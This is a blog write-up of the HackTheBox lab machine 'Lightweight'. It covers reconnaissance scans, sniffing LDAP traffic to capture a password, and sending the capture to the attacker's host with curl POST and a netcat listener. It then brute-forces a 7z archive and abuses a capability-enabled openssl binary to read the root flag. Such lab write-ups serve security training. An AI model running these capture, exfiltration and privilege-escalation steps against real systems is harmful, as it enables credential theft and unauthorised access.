Saturday, May 11, 2019

Post #24 - HackTheBox Write-Up: Lightweight

And here we are again, yet another HackTheBox write-up. Once again this post is dropping directly on my blog because vict0ni took care of the 0x00sec write-up this week. Today, Lightweight is our target. We'll start, as we always do, with Nmap.

nmap -sC -sV -oA Lightweight 10.10.10.119

Explanations:

-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Lightweight - The name of the files for -oA output.

10.10.10.119 - The target machine’s IP address.

We've got HTTP, SSH, and LDAP. Two of those services require credentials, so let's get started with some HTTP enumeration:

gobuster -u http://10.10.10.119 -w /usr/share/wordlists/dirb/small.txt -o Lightweight.gob.txt

Explanations:

-u - Specifies the URL to gobust.

-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

nikto -host 10.10.10.119 -port 80 -output Lightweight.nikto

Explanations:

-host - Specifies the target hostname/IP address.

-port - Specified the target port number.

-output - Specifies the output file name.

As it turns out, both of these attempts failed. I sometimes have issues with my OpenVPN connection to HackTheBox, and at the time I attempted this box my wireless equipment was slowly dying, so I reset everything, then browsed to the website to make sure my connection to HTTP was fine.

...and then I read the website.

So, we can't use any brute-forcing tools. Noted. We can at least peruse the site. While doing so, we eventually discover a page that explains how we can use our IP as an SSH username and password to access the box. Let's get connected and see what we can find.

We have next to no rights on this box other than to our own home directory. I tried some of the usual stops here, such as Linenum and pspy, but to no avail. I ended up connecting to LDAP with no credentials, which let me see a few things, including password hashes for ldapuser1 and ldapuser2. I tried cracking these with both john and and hashcat using rockyou.txt without success. I had to call in some major support from my teammates, and once again I learned another step I should be using in my investigation: packet captures.

Recall during our review of the machine that there is a certain page that let's us reset our password if needed. How could that take place? How could a webpage be reaching into the box to reset our password? Well, let's think about some of the protocols involved here. Of the protocols advertised, the one that deals with user accounts and their statuses, is LDAP. With that in mind, we can set up a packet capture on the victim using tcpdump:

tcpdump 'port 389' -s 65535 -w ldap.pcap

Explanations:

'port 389' - Specifies the port for which we want to capture packets.

-s 0 - Set the capture file size to maximum to ensure that it will not truncate.

-w ldap.pcap - Specifies the file to which we want to write our capture.

I let this run for a couple of minutes, then browsed to the reset page and allowed my password to be reset. Once again, I waited, this time for at least five minutes. Once done, I killed the capture. I transferred the .pcap file to my machine using scp (I was unable to successfully set up a reachable server on the victim machine). However, I also played around with another exfiltration technique that I thought I'd share; using POST requests with curl.

First, I set up a netcat listener on my attacking machine (you could set up a better HTTP server, specifically one that supports POST requests, which SimpleHTTPServer does not). I piped the output of this listener to a file:

nc -lp 2113 > ldap.pcap

Explanations:

-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

Then, from the victim machine, I ran the below command:

curl -X POST -d @389.pcap http://10.10.14.41:2113/

Explanations:

-X - Specifies a request type.

POST - The request type for -X.

@389.pcap - The file to be posted, prepended with @.

Give the request a few moments to process, then kill your nc command. You can trim the file to edit out the HTTP portion of the request, or (and this works on the raw .pcap file, too) just run strings against the file and look for something interesting.

That's some awesome LDAP simple authentication bind info. What can we do with it, though? We can authenticate directly to LDAP, but our rights are no different than the non-authenticated session we had earlier. There has to be another angle.

I am embarrassed to say it, but this came down to some simple Linux knowledge of which I was not aware prior to this point. I've been using su for years, but I run most of my machines as root anyway (yes, I'm a terrible person, I know.) I was utterly unaware that su could be used to switch to any user account, but my wonderful backup squad at 0x00sec quickly corrected my knowledge gap. All that being said, I used su to switch to ldapuser2 with the simple password we captured in the authentication packet.

After all that work, we can finally grab the user flag. Once that's done, it's back to work.

If we take a look in the /home/ldapuser2 directory, we'll see a file named backup.7z. Once we've found this file, we can run file against it to confirm that it is, in fact, a .7z file.

I transfer the file to my machine to begin working on it. The first thing I do is try to unzip the file, but it is password-protected. A few quick Google searches (and some personal digging through memory) and I stumble upon 7z2hashcat.pl... which turns out to be irrelevant in this case.

I am not opposed to turning to the official HackTheBox forums in times of need, and a kind soul on there linked to bruteZip.sh.

bruteZip.sh backup.7z /usr/share/wordlists/dirb/small.txt

This tool did exactly the trick, and we now know the password for the archive:

Now we can extract the archive, and inside we find multitude of files. However, the file I am interested in is status.php. Why? Think about your experience when browsing the site on port 80. Was there any page that took longer to load than the others? For me, it was the blacklist page, status.php. Reviewing the source for this .php file, we locate the credentials for ldapuser1:

Once again we can use su to switch user. Now that we're closer to root, we can start enumerating with the usual tools, starting with Linenum. I get a copy of Linenum transferred to the victim machine, run chmod +x to grant executable rights, and execute it, sending output to Linenum.txt (if you so choose.)

I had to read the output file over and over and over again before learning yet another new thing: POSIX capabilities. Per the ArchWiki:

"Capabilities (POSIX 1003.1e, capabilities(7)) provide fine-grained control over superuser permissions, allowing use of the root user to be avoided. Software developers are encouraged to replace uses of the powerful setuid attribute in a system binary with a more minimal set of capabilities."

All that is to say we can abuse binaries with capabilities to gain elevated code execution. Let's look at our specific example, openssl.

Okay, but what can we do with it? That all depends on the binary. In this case, we can read the man page for openssl to look for something useful:

Per the man page, "Encoding and Cipher Commands: The following aliases provide convenient access to the most used encodings and ciphers." So, here's the command I want to try:

./openssl base64 -in /root/root.txt

NOTE: the ./ is important. You want to make sure you are calling the openssl binary in /home/ldapuser1, not the binary in PATH.

...And that looks successful. Let's decode it now by echoing the base64 output to base64 -d:

We have root, and that concludes our attack on Lightweight. There was a lot to think about here, and the pattern for escalation was a bit different, but overall I enjoyed this box.

See you again soon!